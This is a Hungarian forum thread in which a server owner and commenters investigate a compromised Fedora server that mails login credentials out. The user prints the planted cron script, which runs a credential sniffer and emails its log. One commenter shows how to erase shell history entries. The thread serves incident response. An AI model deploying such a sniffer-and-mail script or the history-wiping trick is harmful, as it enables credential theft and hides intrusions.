Hacker támadás

 ( fanti | 2012. június 29., péntek - 12:55 )

Sziasztok

Azzal a problémával fordulok hozzátok, hogy a szerverre való bejelentkezés után autómatikusan egy email indul utnak erre a címre:

.
A levél tartalma a szerver IP címe a felhasználónév és persze a jelszó.
Valamint kreálodik egy file a "/ets/crond.daily/dnsquery" és a "/root/.mc/j".
Mindezt úgy, hogy van rajta tüzfal amiben az ssh portot csak bizonyos ip-k ről engedi az ssh nem a default porton van az ssh nem engedi a root felhasználót belépni.
Maillog-ot kivéve minden olyan tiszta mintha mise történt volna.
A létrehozott file-ok törlése nem szünteti meg az email küldést.
Eme frappáns email küldés okát nem találom.

Újratelepítettem az egész rendszert és láss csodát pár nap mulva újra jelentkezett.

Valaki találkozott már ezzel a gyönyörűséggel és mit lehet tenni ellene?

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

milyen szolgáltatások futnak a szerveren?

Ez egy Fedora Core 17 x64
Futó szolgáltatások: Apache, Postfix, Amavis, Clam, Postgrey, Courier, Mysql

én arra tippelnék hogy a home dir rossz jogosultságokkal létezik (vagy más), így az apache-on át sikerült valamit lerakniuk amivel így szereznek közvetlen ssh logint a szerverre.
Ha erről van szó, kicsit fapad, de ötletes!;)

A home és a root valamint a cron könyvtár jogosultsága amibe kontárkodott:
4 drwxr-xr-x. 4 root root 4096 Jun 26 16:12 home
4 dr-xr-x---. 8 root root 4096 Jun 29 12:02 root
4 drwxr-xr-x. 2 root root 4096 Jun 28 16:51 cron.daily

apache mit futtat? cacti es tarsaiban is voltak csunya bugok amin be tudtak kuldeni trojaiakat.

Jelenleg csak phpmyadmin.

az is pont elég bugos:)

ez egy desktop pc?
ja és a "core"-t már elég régen elhagyták a nevéből!

Mezei gép grafikus felület nélkül.
Lehetséges én első verzió óta használom de minden csomag nevében fc17 van így én megmaradtam fedora corenál.

Hát ha bejelentkezéshez kötött a dolog, akkor /etc/profile ~/.profile fájlok is játszhatnak akár. Én nem találkoztam vele, de legalább annyit árulj majd el a többienek, hogy milyen oprendszr milyen verzióján tapasztalod ezt, milyen net túl elterjedtzen használt szoftvereket hazsnálsz illetve tűnődj el, hogy milyen oldalakat szoktál meglátogatni.

"Sajnos amikor azt mondtam ne lopj, senki nem sütötte le a szemét. De amikor azt prédikáltam, hogy ne paráználkodj, no akkor eszembe jutott, hogy hol hagytam el a kerékpárom."

Megnéztem a profileokat és nem találok bennük eltérést.
Kizárólag az email szerver telepítéséhez használtam a sourceforget postfix,vda,courier.

Ne adj isten, de lehet ez egy infected putty?

Valóban, ez tényleg triviálisabb megoldásnak tűnik, mint a pam profilokat vagy sshd-t mókolni.

--
"A herceg én vagyok."

Kiprobáltam winscpvel is igaz ettől még ez is lehet fertözött.

Simán, a putty meg a winscp azok nagyon jó barátok, én azt mondom infected putty.
Mostanában divat ez. Legutóbb a filezilla kliens csinált ilyet, de találkoztam bepoloskázott totalcommanderrel is :( azok ugyanezt csinálták ftp ügyben.

Esetleg .bashrc?

A .bashrc is rendben van.
Kezd egyre iritálobb lenni mert egy régi gépemnél is jelentkezett azon Fedora 12 van.

keress rá a mail címre:)

Én is itt néznék szét, pláne, hogy ha winscp login után is csinálja.

Ha a cleartext jelszó is benne van, akkor talán a PAM háza táján lehetne szétnézni még.

--
"A herceg én vagyok."

-

+1

SSH belépés vagy konzol előtti belépésnél csinálja?
Ha csak SSH akkor valószínűleg azt zúzták be. => md5sum ssh a barátod.

Ha konzol loginnál is akkor játszik a pam meg mindenféle shell profil és társai, futtató környezet (/bin/sh, /bin/bash, stb)

Egyébként meg tripwire a következő telepítés előtt, hogy legalább azt megtaláld mit zúznak meg.

Ami még eszembe jutott:

* ssh user@localhost --> Ha itt nem jelez, akkor kliens oldali hiba gyanús.
* su - user --> Ha itt nem jelez, de az ssh user@localhost igen, akkor az sshd gyanúsabb. Ha ez is, akkor pam beállítások / binárisok is lehetnek gyanúsok.
* bash --> Ha ilyenkor jelez akkor vagy a .bashrc, vagy a profile van hack-elve (ezt amúgy nem tartanám túl valószínűnek, mert azokhoz nem jut hozzá a jelszó, a te esetedben meg az is küldődik)

Mindazon ideig javasolnám a kulcsos-auth használatát.

--
"A herceg én vagyok."

Csak az első bejelentkezésnél küld levelet su - nál nem.
Kiprobáltam WinSCP-vel és annál is küld levelet.

Röviden a tojás valamilyen app bugon keresztül bejutott és aktivalodott, elvégezte a szükséges módosításokat és elküldte a tyuknak, de arra nem gondolták, hogy a tuzfalszabalyokat is kiiktassak. update és a web appok chrootolasa, de legalább egy vhost php base dir ballitas. a lényeg, hogy a bugot le kell vadászni, használj vhost authot amihez csak lehet, stb stb. meg nagyon tag a kor hogy mi a baj.

Ez ilyen mezogazdasagi hozzaszolas?
--
1 leszel vagy 0 élő vagy hulla!

Biztos agrárinformatikus :D

Subscribe - a tippek miatt. :)

++;

+1
--
A legértékesebb idő a pillanat amelyben élsz.
http://phoenix-art.hanzo.hu/
https://sites.google.com/site/jupiter2005ster/

+1

-||-

S

+1

+1

+

subs

s
-----
www.deemer.hu

sub

Subscribe

Ezeknek a létrejött fájloknak mi a tartalma?
Az email egyébként kiment?
"Maillog-ot kivéve minden olyan tiszta mintha mise történt volna." -- Ez nyilván nem így van; csak látszat.
Jó lenne kideríteni, mi változott még (iptables, top, find, ls, stb).
Esetleg egy aide utólag is tud némi infóval szolgálni, ha menet közben ismét változnának fájlok.
chrootkit és társai nem mondanak semmit?
Újratelepítésnél nem lehet, hogy visszamásoltál valami hibás config fájlt?
A gép fix ip-n van, vagy valami szerver parkban? Ha otthon, akkor a phpmyadmin kívülről elérhető?
Log fájlok nem hiányosak?
Portok csak azok vannak nyitva, amit Te is szeretnél? Esetleg portscan biztosabb választ ad egy külső gépről.

Ezek jutottak eszembe hirtelen. Biztos egy részét már megválaszoltad magadban, de ezt mi nem tudjuk.

last parancs?

SELinux-ot használod? A rendszer up to date?


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Nem. Disabled

Az bizony baj. Szerintem megúszhattad volna a SELinux használatával a balesetet.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

rpm -Va nem mond esetleg valami érdekeset?
Ha valamelyik bináris megbabrálták, akkor azt elvileg ezzel ki kéne tudni deríteni.
Egy kis gyorstalpaló (,hogy a kimenetben mi mit jelent):
http://www.rpm.org/max-rpm/s1-rpm-verify-what-to-verify.html
http://www.rpm.org/max-rpm/ch-rpm-verify.html

Ez kicsit khm megoldás, de:

ps aux | grep *.pl
ps aux | grep *.sh

/etc/skel atnezese..

na, ez viszont el fog tartani neki:

grep -R "emailcimamirekuld" /

-
Debian Squeeze

Mivel az etc cron.daily rootként írható, ezért jó eséllyel root joggal rootkit is telepítésre került, úgyhogy a pst összehasonlítanám rendszerlemezről egy eredeti binnel, vagy régi backuppal.

Miről telepítetted? Lehet abban van a jóság :)

Fedorának az oldaláról dvd iso.

noexec a tmp-n?
diff a fájlrendszerre?
grep a mailcímre
mi van a cronparancsban?
phpmyadmin htaccess restricted?
pax, rsbac, selinux ?
apache mysql ssh verziók vs exploitok?

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Az újratelepítés hogyan történt? Mi _nem_ lett legyalulva? Hálózat nélkül, CD-ről bootolva a telepített binárisok md5sum-jai közül eltér-e valamié attól, aminek lennie kell? Ha igen, akkor visszarakni csomagból és chattr +i neki (de egy readonly mountolt / is jó lehet, de tippelem, hogy a /var /tmp /home (ezekre nosuid,noexec mount, ez mondjuk az mc-nek defaultban nem tetszik (noexec), de együtt lehet vele élni) nem külön fs...) Ami a webszerver alatt futkorászik, az mennyire friss, honnan érhető el? Van e ftp-s feltöltés a gépre?
A távolabbi jövőre nézve: ssh csak kulcsos azonosítással, opie beizgatása, chkrootkit felpakolása és rendszeres futtatása.

egy readonly mountolt / is jó lehet

Fedora 17 erre alkalmas is, helyesebben readonly /usr, hiszen ezért csinálták azt, hogy a /bin megszűnt, belapátoltak mindent a /usr/bin-be, aztán lett egy /bin -> /usr/bin symlink a kompatibilitás miatt.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

DVD-röl telepítettem a telepítővel formáztam a tüzfal beállítása után kapott internetet.

Helló,

chkrootkit, rkhunter, ezeket rakd fel, futtasd, ha szerencséd van megmondja mi a bajod.

chkrootkit:
Checking `netstat'... INFECTED
Searching for Suckit rootkit... Warning: /sbin/init INFECTED

Rkhunter is érdekes dolgokat ir
http://data.hu/get/5292822/rkhunter.log

A helyedben aggódnék. Nekem picit jobb a statisztikám:

[11:22:10] System checks summary
[11:22:10] =====================
[11:22:10]
[11:22:10] File properties checks...
[11:22:10] Files checked: 136
[11:22:10] Suspect files: 0
[11:22:10]
[11:22:10] Rootkit checks...
[11:22:10] Rootkits checked : 311
[11:22:10] Possible rootkits: 0
[11:22:10]
[11:22:10] Applications checks...
[11:22:10] All checks skipped
[11:22:10]
[11:22:10] The system checks took: 2 minutes and 55 seconds
[11:22:10]
[11:22:10] Info: End date is Sun Jul 1 11:22:10 CEST 2012


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Na ne már. 2012-ben data.hu-ra töltögetni...

Jelenleg tényleg ez a legfontosabb.

Egyetértek, hogy nem ez a legfontosabb, viszont tippet már kaptál zsák számra, de a visszajelzések elég minimálisak. Elakadtál, vagy nem tartod relevánsnak a válaszokat?

Sokat segítettek a válaszok, egyenlőre ott vagyok elakadva, hogy nem sikerül eltávolítani.

IMHO nem eltavolitani kell hanem megtalalni, hogy mi bugos, mi a fix, es ujratolni a rendszert. Mivel nem tudod, hogy mi az, mit csinal nem tudod, hogy ez egy mellekhatas vagy fo dolog, szoval rendszert kihuzni, ujratolni es az uj rendszert fixelni.

Igaz. Kezd nagyon érdekes lenni mert a másik gépen se a chkrootkit se az rkhunter nem talált semmit.

Semmi érdekes nincs ebben. A másik gép kapta a pofont.
Ez egy otthoni gép router mögött???
Akkor milyen portokat engedsz át?
És milyen verzió a phpmyadmin?

Pont azert szoktak inkabb kifele connectelni a fertozott gepek, hogy az ilyen portforwardokat ne kelljen kitalalniuk.

Engem inkább a befelé út érdekelne. Hogy tud egy friss gépet másodszor is megtörni egy kintről jövő támadás?

De még nem tudjuk, hogy kintről jött-e a támadás.
Lehet hogy trójai faló módjára ő maga telepítette fel.

Hát ez az, egy csomó mindent nem tudunk. Le kéne szűkíteni a lehetőségeket, de ahhoz meg válaszok kellenek....

Neharagudjatok közben dolgoznom is kell :(
A file külömbséget az ujratelepített rendszer között már csak holnap tudom megnézni.
Addig is.
a /etc/cron.daily/dnsquery file tartalma:
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
mkdir /usr/share/misc/
mkdir /usr/share/misc/blah/
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail

-s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

a /root/.mc/j file bináris.

A tüzfal szabály amit használok:

#!/bin/bash

echo "Firewall Restart "
iptables -t nat -F
iptables -t mangle -F
iptables -t filter -F

iptables -t nat -X
iptables -t mangle -X
iptables -t filter -X

iptables -t filter -P INPUT ACCEPT
iptables -t filter -P FORWARD ACCEPT
iptables -t filter -P OUTPUT ACCEPT

# BIZTONSAGOS CIMEK JOHETNEK
/sbin/iptables -A INPUT -j ACCEPT -s 127.0.0.1 # Localhost
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Otthon
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Iroda
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Stb..

# COUNTER RESZ
echo "COUNTER RESZ"
/sbin/iptables -N kulsosforg # kulsosforg letrehoz
/sbin/iptables -A INPUT -j kulsosforg # Minden mas jump kulsosforgba

# MAIL
echo "levelezes be"
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 25 # SMTP
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 110 # POP3
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 143 # IMAP

# WWW
echo "web be"
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 80 # WEB mindenhonnan
/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 81 # WEB mindenhonnan

# FTP
echo "ftp be"
#/sbin/iptables -A kulsosforg -j ACCEPT -p tcp --dport 21 # FTP Kikapcsolva

# ICMP
echo "ping be"
/sbin/iptables -A kulsosforg -j ACCEPT -p icmp # Ping

# Egyebek
echo "kulsosforg egyebek"
/sbin/iptables -A kulsosforg -m state --state ESTABLISHED,RELATED -j ACCEPT # Folyamatban levo
/sbin/iptables -A kulsosforg -j DROP # Minden mas drop

# OUTPUT RESZ
echo "OUTPUT RESZ"
/sbin/iptables -A OUTPUT -j ACCEPT # Kifele minden

Hát elég kezdetleges és egyszerű dolognak néz ki.
/usr/lib/popauth -ot kéne csekkolnod, hogy kinek milyen joga van rá.
Illetve megnézném, hogy a létrehozott httpd.log és test file-okon milyen jog van. Valószínűleg root, hisz a cronban van ez a script, de biztos ami biztos...
Másik, hogy bash historyban keress rá ezekre a kulcsszavakra. Bár kevés esélyt látok erre, hogy bent legyen. De hát elég balek megoldás ez amit látok a dnsquery-ben.

Megnéztem a couriert fanti userrel telepítettem sudoers ben engedélyeztem ideiglenesen.
Érdekes a bin user.......
/usr/lib/-en belül ez a kettő ami nem root:
drwxr-xr-x 8 bin bin 4096 May 31 19:55 courier-imap
-rwxr-xr-x 1 fanti users 388262 Apr 15 19:23 popauth

Megnéztem a historyt a két usernél (root,fanti) csak az én konfigurációm van benne.
A httpd logoknál mind -rw-r--r-- 1 root root

az hogy a history üres még nem jelent semmit. simán tud maga után takarítani aki akar.
pl.:
history -d $((HISTCMD-1))

--
A legértékesebb idő a pillanat amelyben élsz.
http://phoenix-art.hanzo.hu/
https://sites.google.com/site/jupiter2005ster/

+1, ráadásul interaktív módban elég egy szóközzel kezdeni a kiadott parancsot...

tegyük hozzá a pontosság kedvéért: amennyiben $HISTIGNORE -ban van rá minta beállítva :)

~~~~~~~~
http://www.youtube.com/watch?v=VbUVqODL1nE

A tűzfaladon is van lyuk...

/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Otthon
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Iroda
/sbin/iptables -A INPUT -j ACCEPT -s xxx.xxx.xxx.xxx # Stb..

Ez azt jelenti, hogy a otthoni, irodai és "biztonságos" hálózatból MINDENT beengedsz.
Elég ha a te desktop géped van megfertőzve valamivel, akkor annak szabad bejárása van erre a gépre is.

Korlátozd le a hozzáférést pl csak ssh, http, ftp portokra.

De egyébként ez mit akar jelenteni ?

iptables -t filter -P INPUT ACCEPT
iptables -t filter -P FORWARD ACCEPT
iptables -t filter -P OUTPUT ACCEPT

Nem azt hogy ajtó ablak nyitva ?

Az első rész az kipucolja az eddigi konfigurációt ergo minden tárva nyitva majd utánna jön szürés a biztonságos cimekkel.

tippre filter láncon deny default policy kéne neked
--
"'The time has come,' the Walrus said"

Igen, aztán jön egy ilyen: "iptables -t filter -P INPUT ACCEPT"
Ez az hogy a filter láncon minden bejövő kapcsolatot engedélyezel.

Magyarul mint ha nem is lenne bekapcsolva a tűzfalad...

Máshonnan nem tudok belépni nmap is azt irja closed de a biztonság kedvéért kivettem.

Azt mondják ez csinálta:
http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Linsniff-B/detailed-analysis.aspx

És ilyeneket módosít:
What I found so far:

SSH was definitely compromised; they replaced the binaries! (The old binaries wound up in /etc/rpm directory.) And sshd_config was replaced with a 0-byte file.

There was a /tmp/mexpl.tgz file that contained exploit code.

/etc/passwd and /etc/group were modified with a new account called "ice".

/etc/cron.daily had a new addition - a file called "dnsquery" that emailed the hacker.
( this was basically similar to the original poster's code - /usr/lib/.popauth was run. )

/root/.ssh/known_hosts was modified with a new entry.

there was a file called /tmp/back which apparently ran perl and executed a shell for the attacker.

/usr/include/gpm2.h was a 0-byte, rwxrwxrwx file.

/usr/lib had the +c0d.init file, as well as a subdirectory with exploit - /usr/lib/named.
klogd1, named.sn, and zum were in there.

Apró eltéréssel de igen.
/etc/rpm/sshOLD
/etc/rpm/sshdOLD
/etc/cron.daily/dnsquery
/usr/lib/popauth

Ezek stimmelnek a leírással.

Szia,

van 2 géped, ugyanazon hibával, de az egyiken még rk is van fenn, azaz jó eséllyel van egy nyílt hibás cuccod, amin keresztül több dolog is fertőz, ráadásul az egyik még elég új hogy a tool-ok sem találják meg.
Virtuál gépben (vagy vason ha el vagy eresztve) telepíts egy ugyanolyat, mivel írtad hogy ez megtetted már ezeken, így nem lesz gond, de ez utóbbit ne kösd ki a netre. Mindhárom gépen csinálj checksum-ot a fájlokról, olyat keresel ami a két hibáson egyezik, de eltér a harmadiktól (pl aide, vagy egy find md5sum-mal). Ha ez nem vezet eredményre, akkor pedig olyan fájl kell ami a két hibáson fent van, a harmadikon pedig nincs. Ezt offline csináld, pl bootcd-vel, mert a jobb eszközök amíg futnak, elrejtik magukat.

Üdv,
BaZso

UI: most már baromira érdekel a végeredmény :-)

+1

Vagy esetleg megkíméli magát ettől a plusz munkától és futtat egy rpm -Va-t.
Ha ez nem ad eredményt még midig lehet telepíteni.

Megnéztem amit furcsáltam a pam.d de úgy néz ki rendben van.
A sudoers-t a mail szerver telepítéséig én módosítottam.

rpm -Va
prelink: /usr/sbin/NetworkManager: at least one of file's dependencies has changed since prelinking
S.?...... /usr/sbin/NetworkManager
missing /var/run/NetworkManager
S.5....T. c /etc/postfix/main.cf
S.5....T. c /etc/postfix/master.cf
S.5....T. c /etc/sasl2/smtpd.conf
S.5....T. c /etc/ssh/ssh_config
S.5....T. c /etc/networks
S.5....T. /usr/sbin/hwclock
S.5....T. c /etc/ppp/chap-secrets
S.5....T. c /etc/ppp/pap-secrets
......G.. /var/empty
S.5....T. /bin/ps
prelink: /usr/bin/udisksctl: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/udisksctl
prelink: /usr/lib/udisks2/udisksd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib/udisks2/udisksd
prelink: /usr/bin/curl: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/curl
S.5....T. c /etc/httpd/conf/httpd.conf
S.5....T. c /etc/aliases
prelink: /usr/bin/pkaction: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkaction
prelink: /usr/bin/pkcheck: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkcheck
prelink: /usr/bin/pkexec: at least one of file's dependencies has changed since prelinking
S.?...... /usr/bin/pkexec
prelink: /usr/lib64/libpolkit-agent-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-agent-1.so.0.0.0
prelink: /usr/lib64/libpolkit-backend-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-backend-1.so.0.0.0
prelink: /usr/lib64/libpolkit-gobject-1.so.0.0.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libpolkit-gobject-1.so.0.0.0
prelink: /usr/libexec/polkit-1/polkit-agent-helper-1: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/polkit-1/polkit-agent-helper-1
prelink: /usr/libexec/polkit-1/polkitd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/polkit-1/polkitd
prelink: /usr/libexec/fprintd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/fprintd
missing /var/run/spamassassin
....L.... c /etc/pam.d/fingerprint-auth
....L.... c /etc/pam.d/password-auth
....L.... c /etc/pam.d/postlogin
....L.... c /etc/pam.d/smartcard-auth
....L.... c /etc/pam.d/system-auth
.....U... /etc/maven
S.5....T. c /etc/default/grub
.....U... /etc/pango
prelink: /usr/libexec/gconf-defaults-mechanism: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/gconf-defaults-mechanism
missing /var/run/wpa_supplicant
.M....... n /etc/openldap/slapd.d
S.5....T. c /usr/lib/courier-imap/etc/imapd.cnf
S.5....T. c /usr/lib/courier-imap/etc/pop3d.cnf
S.5....T. c /etc/amavisd/amavisd.conf
.M....... /var/spool/authdaemon
S.5...... c /etc/freshclam.conf
.......T. /lib/modules/3.3.4-5.fc17.x86_64/modules.devname
.......T. /lib/modules/3.3.4-5.fc17.x86_64/modules.softdep
prelink: /usr/libexec/packagekitd: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/packagekitd
prelink: /usr/libexec/gvfs-udisks2-volume-monitor: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/gvfs-udisks2-volume-monitor
prelink: /usr/libexec/cups-pk-helper-mechanism: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/cups-pk-helper-mechanism
prelink: /usr/lib64/libcurl.so.4.2.0: at least one of file's dependencies has changed since prelinking
S.?...... /usr/lib64/libcurl.so.4.2.0
S.5....T. c /etc/postfix/postgrey_whitelist_clients
S.5....T. /etc/sysconfig/postgrey
S.5....T. /usr/sbin/postgrey
.......T. c /etc/sudoers
S.5....T. c /etc/ssh/sshd_config
prelink: /usr/libexec/colord: at least one of file's dependencies has changed since prelinking
S.?...... /usr/libexec/colord

bazz. Rég volt RHCE, azóta meg többet tervezek, mint konzolozok, lehet kicsit meg kéne fordítanom az arányt, mert nem lesz ennek így jó vége :-)

+1

Mi az, ami a teljes újratelepítés után a régi rendszerből vissza lett pakolva? Ilyenkor célszerűen _semmilyen_ végrehajtható cuccot nem másolunk vissza a zaccos rendszerből, hanem az utolsó szegig mindent eredeti forrásból kell telepíteni. Igen, a webes-péhápés szutykokat is.

Igen ott hibázhattam mivel a /etc/postfix/main.cf master.cf virtual* konfig fileokat másoltam.
Azt nem értem, hogy a másik gépnél nem telepítettem semmit csak beszoktam lépni megnézni a log fileokat.
Az összes gépen amiről beléptem a szerverekre van viruskereső valamint most még vigig futtatam egy másik programmal is.

Tök fölösleges.
Ha már megtörték a rendszert, akkor annak annyi. Sosem tudod, hogy patkolták meg a kernelt.
Akár egy ll, vagy ls parancsra sem azt kapod vissza ami valójában van.

Offline, csak olvasásra mountolnám a rendszert hogy megpróbáljam kideríteni mi is van. Logokat törölheti maga után stb. (Itt jön szóba a syslog-ng)

Említett megoldásod a rk huntereket előre kell feltenni de persze ez is minimális védelmet ad.

Amennyiben ilyen egyszerű reprodukálni a levélküldést, akkor lépj be a gépre akassz rá egy strace-t az sshd-ra, lépj be egy másik terminálon és nézd meg, hogy milyen parancsok hajtódnak végre.

strace -qf -s 256 -p `pidof sshd` -e execve 2>&1 | grep " execve("

Ha arra vagy kíváncsi, hogy hogyan jöttek be, akkor meg csinálj egy honeypot-ot. Valószínűleg elég, ha újratelepíted a gépet és elindítasz egy tcpdump-ot (primitív, de automaták ellen elég lehet, max tegyél meg annyit, hogy a tcpdump binárist lemásolod egy random névre és úgy futtatod).

A honeypot készítése előtt azért nézz szét, hátha egy ismert hibával állunk szembe. :)

Ha a levelben benne van a jelszo, nem lehet, hogy a logint cserelte le?

--
ezt tényleg ennyire nem értitek? - turdus :)

Aggódom. Két fura jelenségre lettem figyelmes. Az egyik, hogy a desktop gépemen felpörög a ventillátor, s conky által látom, hogy a mysqld 4 CPU mag jelentős futásidejét elviszi. Logban semmi gyanús. Nem megfagyott, mert nem minden futásidőt vitt el, csak nagyon sokat, s nem statikusan. Hol többet, hol kevesebbet, de tartósan. Aztán mondtam neki ezt:

systemctl stop mysqld.service

Aztán ez nem volt elég, jelenleg a firefox-om visz el 115 % futásidőt. Tegyük hozzá, 1 mag futásidejének százalékában 400 % az elvi maximum, így ez nem lehetetlen. Amúgy működik a böngésző.

Arra is gondoltam, valamit elszúr a kernel a szökőmásodperc miatt.

A /proc/interrupts-ban 3.5 órás uptime alatt nem sok ez?

RES: 53036421 52112546 52241577 52177267 Rescheduling interrupts

A ksoftirqd magonként elvisz úgy 11 % futásidőt, ha fut a firefox. Különben keveset.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

MySQL alatt a SHOW PROCESSLIST paranccsal tudod megnézni az éppen futó folyamatokat.

Ha pont nem sikerülne elkapnod, akkor ideiglenesen kapcsold be minden lekérdezés naplózását az /etc/my.cnf-ben:

[mysqld]
general_log     = 1
general_log_file= /var/log/mysql/query.log

--
The Elder Scrolls V: Skyrim

Tapasztalatom szerint biztos, hogy erről van szó. Köszönöm.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

-

+1

Offtopic:

Nekem is volt ilyen pánik, hogy felnyomták a rendszert.
Fél napos kutató munka után kiderítettem, hogy én magam jártam a gépen jó néhány sör után.

Megoldás: Olyan jelszót kell választani, amire részegen tuti nem emlékszel.
XD

subscribe

Lehet hülyeséget kérdek, de ha rátolsz egy vírusírtót (vagy többet), nem dobnak vissza semmit se?

Végigolvasva a topic-ot:

1. ha biztosra akarsz menni újratelepítés, telepítés után SELinux bekapcsolása, vagy ha ez nem alternatíva md5sum a binárisokra/configokra, esetleg másik gépre svn, és oda szépen commitolni, napi cronjobból svn st kimenetében a ^M-es fájlokra svn diff és mailbe mehet.
2. Telepítés után tűzfalat csak a full configurálás és md5sum/svn/SELinux után nyiss, csak és kizárólag arra és onnan ami feltétlen kell.
3. használj kullcsos authentikációt, esetleg kulcs+pw
4. naprakészség, security tesztek cronból: tiger, chrootkit, debsecan
5. néha nessus vagy valamilyen forkja általi teszt
6. phpmyadmin mindenképp kell? ssh + consolból mysql, esetleg port-forward és egy másik gépről futtatni a bugos/veszélyes kódokat.

--
Kis problémából egy kis munkával nagy problémát lehet gyártani. Ha valami müxik ne b***tasd :)
Uriember az, aki nem beszél a Windows-ról, pedig tudna...

Újratelepítés előtt pedig a desktopot, amiről belépeget takarítsa le, mert a másik szerverre nem magától ment fel a cucc, hanem a desktop vitte be. Azaz saját maga juttatta be az ártó kódot. Valószínűleg az első gépre is.

Újra raktam a gépet várom, hogy történjen valami tudnom kell melyik desktopról és hogyan jött az áldás.
Nagyon rég használtam így a szervereket gond nélkül ideje változtatni :)
Megfogadom a tanácsokat és köszönöm szépen mindenkinek a segítségét.

Szia!

SELinux -ra tudsz valami magyar nyelvű, használható leírást? Előre is megköszönöm!

Ha security kell, grsecurity.

Fedorán a SELinux a támogatott eszköz. Nem kellett volna kikapcsolni.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Nem mintha bármit is érne. Csak arra jó, hogy a felhasználót akadályozza. A malware-t úgysem állítja meg.

Hahaha, ez a nap vicce.

--
L

imadom, mikor ilyenekkel dobalozol. erveket kerek, linkekkel. (es nem arra az egy esetre gondolok, amikor ki lehetett kapcsolni az egeszet)

https://rhn.redhat.com/errata/RHSA-2007-0960.html

http://www.linuxjournal.com/article/9176

biztos van több/újabb is, de nem biztos, hogy mindig nyilvánosságra kerül...

te most azt tamasztod ala, h miert jo, h van? en is ezt irtam...

kicsit meleg van ma, elcsúszott 1-gyel :)

+1
-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Szia

A cronjob és a root/mc-s file rendszeresen létrejönnek? vagy törlés után végleg eltűnnek?

Ha rendszeresen megkeletkeznek akkor talán az auditd-vel meg tudod nézni honnan jönnek ...

yum install auditd # gondolom így kell, én debianon nevelkedtem :)
auditctl -w /ets/crond.daily/dnsquery -w /root/.mc/j -p rwxa # inkább többet mint kevesebbet ...

Aztán nézegesd az auditd logjait (gondolom /var/log/audit* környékén érdemes nézelődni ...)

Egyébként ha ez nem hoz eredményt, akkor durvább auditd beállításokkal mindent naplózhatsz amit a rendszer csinál, csak győzd kiválogatni ...

Zseniális cucc szerintem az auditd, de a logja ... hát kevés csúnyábbat láttam eddig :)

ui: most látom, hogy már "megoldódott" a probléma, másnak azért még tanulságos lehet ...

Nem jönnek újra létre törlés után de nem rossz az ötlet mert most várom mikor fertözi meg az új rendszert
kiprobálom.
Köszi

láttam már ilyet:
a ps, netstat,bash -t is lecseréli
erdemes megnezni a filok keletkezesi idejet, mert joparnal, amit lecserelt nem allitotta vissza az eredeti datumra.
barmilyen belepesnel amit jelszoval teszel meg, kuld rola levelet, de ha kulccsal lepsz fel nincs jelszo, nincs level.
viszont direkt a postfix konyvtarba pakolja a levelet, nem pedig programon keresztul, igy ha kilovod a levelszervert ujrainditas utan elkuldi a levelet.

az ideiglenes megoldas az volt, hogy:
ujratelepitettem iputils*, coreutils, bsdutils,debianutils, sysvinit-utils, ssh, openssh-*, apache*, postfix* csomagokat (vagy akar mindet)
find -al keress ra anomaliakra (pl "parancsnev ", legfrissebb fajlok, meg hasonlok)
futtass le virusellenorzest
ne engedj php-n keresztul system,exec meg hasonlokat
es a trojaiakat torold a webkvt-bol (mert lesznek...)
a /root alatt talalhatsz egy .w3m konyvtarat, benne erdekessegekkel. ez akar tobb giga is lehet, millio piciny fajlal.
ps xau (ha mar ujrahuztad a csomagot) nezz bele minden furcsasagba.
rkhunter, chkrootkit futtasd, clamscan futtasd...
igy hirtelen.
aztan ssh ne a 22-esen fusson es ne jelszoval menjel be.

de a legjobb az ujrahuzas. es csak azokat a dolgokat vidd at ami muszaly. es azt is ellenorizd.

És mi volt a megoldás? Én nem látom. Csak annyit vettem észre a leírásban, hogy vannak fertőzött file-ok, de a mikéntjét még nem ismerjük.


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

